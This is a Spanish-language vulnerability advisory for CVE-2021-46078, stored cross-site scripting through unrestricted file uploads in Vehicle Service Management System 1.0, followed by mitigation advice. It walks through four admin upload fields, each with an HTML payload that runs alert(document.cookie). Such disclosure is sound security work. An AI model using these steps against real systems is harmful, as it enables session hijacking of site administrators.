CVE-2021-46078
Título del Exploit: Vehicle Service Management System - 'Múltiple' Carga de archivos conduce a Cross-Site Scripting Almacenado
Autor del Exploit: SANU P.L
CVE: CVE-2021-46078
CVSS: 4.8 MEDIO
Referencias:
Descripción:
Existe una vulnerabilidad de carga de archivos sin restricciones en Sourcecodester Vehicle Service Management System 1.0. Un atacante remoto puede cargar archivos maliciosos lo que conduce a una vulnerabilidad de Cross-Site Scripting Almacenado.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Iniciar sesión en el panel de administración http://localhost/vehicle_service/admin
- Navegar a la sección My Account http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Guardar el código html anterior como, por ejemplo: XSS.html
- En la sección My Account ingresar todos los detalles requeridos y seleccionar el archivo html en Avatar.
- Hacer clic en el botón de actualizar.
- Abrir la imagen del avatar en una nueva pestaña.
- Código javascript malicioso ejecutado.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Iniciar sesión en el panel de administración http://localhost/vehicle_service/admin
- Navegar a la sección User List y hacer clic en el botón Create New.
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Guardar el código html anterior como, por ejemplo: XSS.html
- En la página Create New User ingresar todos los detalles requeridos y seleccionar el archivo html en Avatar.
- Hacer clic en el botón Save.
- Abrir la imagen del avatar en una nueva pestaña.
- Código javascript malicioso ejecutado.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
- Iniciar sesión en el panel de administración http://localhost/vehicle_service/admin
- Navegar a la sección Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Guardar el código html anterior como, por ejemplo: XSS.html
- En la sección Settings ingresar todos los detalles requeridos y seleccionar el archivo html en System Logo.
- Hacer clic en el botón update.
- Abrir la imagen en System Logo en una nueva pestaña.
- Código javascript malicioso ejecutado.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Iniciar sesión en el panel de administración http://localhost/vehicle_service/admin
- Navegar a la sección Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Guardar el código html anterior como, por ejemplo: XSS.html
- En la sección Settings ingresar todos los detalles requeridos y seleccionar el archivo html en Website Cover.
- Hacer clic en el botón update.
- Abrir la imagen de Website Cover en una nueva pestaña.
- Código javascript malicioso ejecutado.
Impacto:
Un atacante puede cargar archivos maliciosos en múltiples puntos finales, lo que conduce a Cross-Site Scripting Almacenado.
Mitigación:
Se recomienda implementar lo siguiente:
- Nunca aceptar un nombre de archivo y su extensión directamente sin tener un filtro de lista blanca.
- Si no es necesario tener caracteres Unicode, se recomienda encarecidamente aceptar solo caracteres alfanuméricos y solo un punto como entrada para el nombre del archivo y la extensión.
- Limitar el tamaño del archivo a un valor máximo para prevenir ataques de denegación de servicio.
- El directorio de carga no debe tener permiso de 'ejecución'.
- No confiar solo en la validación del lado del cliente.